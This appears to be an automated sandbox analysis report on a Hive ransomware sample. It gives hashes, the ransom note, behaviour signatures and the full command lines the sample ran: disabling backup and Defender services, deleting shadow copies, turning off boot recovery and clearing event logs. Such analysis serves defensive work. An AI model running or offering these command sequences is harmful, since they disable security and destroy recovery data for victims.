Analysis

  • max time kernel
    67s
  • max time network
    64s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-01-2025 20:57

General

  • Target

    zi1ysv64h.exe

  • Size

    3.3MB

  • MD5

    5384c6825a5707241c11d78529dbbfee

  • SHA1

    85f5587e8ad534c2e5de0e72450b61ebda93e4fd

  • SHA256

    3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21

  • SHA512

    856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f

  • SSDEEP

    49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\K8zJ_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at you will need to purchase our decryption software. Please contact our sales department at: Login: Password: To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.2o4xo files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

Signatures

  • Disables service(s) 3 TTPs
  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Hive family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe
    "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4936
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:1164
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1112
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:640
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:632
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:4944
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:960
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:2124
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:636
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:3852
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3096
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3080
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4716
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:4444
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_29ed7" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3824
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_29ed7" /y
                      3⤵
                        PID:1440
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5028
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2008
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2400
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2384
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1868
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:228
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1764
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_29ed7" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2708
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:1792
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:3864
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:4700
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:2204
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                            2⤵
                              PID:3632
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:1524
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:3956
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:4632
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:3472
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:4620
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:2812
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:2508
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:5004
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:3748
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1988
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:2276
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                          2⤵
                                            PID:2372
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                            2⤵
                                              PID:3200
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              2⤵
                                                PID:4880
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                2⤵
                                                  PID:4340
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                  2⤵
                                                    PID:4932
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:4128
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:1976
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                        2⤵
                                                          PID:2652
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:4520
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:2124
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:4828
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:4484
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:3052
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:1652
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:1272
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies security service
                                                                PID:4960
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:764
                                                              • C:\Windows\SYSTEM32\vssadmin.exe
                                                                vssadmin.exe delete shadows /all /quiet
                                                                2⤵
                                                                • Interacts with shadow copies
                                                                PID:224
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl system
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:5092
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl security
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2720
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl application
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3204
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe SHADOWCOPY /nointeractive
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1404
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe shadowcopy delete
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3964
                                                              • C:\Windows\SYSTEM32\bcdedit.exe
                                                                bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:404
                                                              • C:\Windows\SYSTEM32\bcdedit.exe
                                                                bcdedit.exe /set {default} recoveryenabled no
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:4552
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                2⤵
                                                                  PID:2948
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                  2⤵
                                                                    PID:5088
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableIOAVProtection $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:4440
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                    2⤵
                                                                      PID:1456
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                        3⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:2296

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  • C:\Program Files\Common Files\DESIGNER\K8zJ_HOW_TO_DECRYPT.txt

                                                                    Filesize

                                                                    1KB

                                                                    MD5

                                                                    f939d786e1fb30d287357d553719cf88

                                                                    SHA1

                                                                    b5001e66047bb37310e8b9c78fef2d1ef6443e1f

                                                                    SHA256

                                                                    5f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad

                                                                    SHA512

                                                                    8da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    d85ba6ff808d9e5444a4b369f5bc2730

                                                                    SHA1

                                                                    31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                    SHA256

                                                                    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                    SHA512

                                                                    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                    Filesize

                                                                    944B

                                                                    MD5

                                                                    6d3e9c29fe44e90aae6ed30ccf799ca8

                                                                    SHA1

                                                                    c7974ef72264bbdf13a2793ccf1aed11bc565dce

                                                                    SHA256

                                                                    2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                                                                    SHA512

                                                                    60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0lsv1gc.v5f.ps1

                                                                    Filesize

                                                                    60B

                                                                    MD5

                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                    SHA1

                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                    SHA256

                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                    SHA512

                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                  • memory/4440-4-0x00000284A6D70000-0x00000284A6D92000-memory.dmp

                                                                    Filesize

                                                                    136KB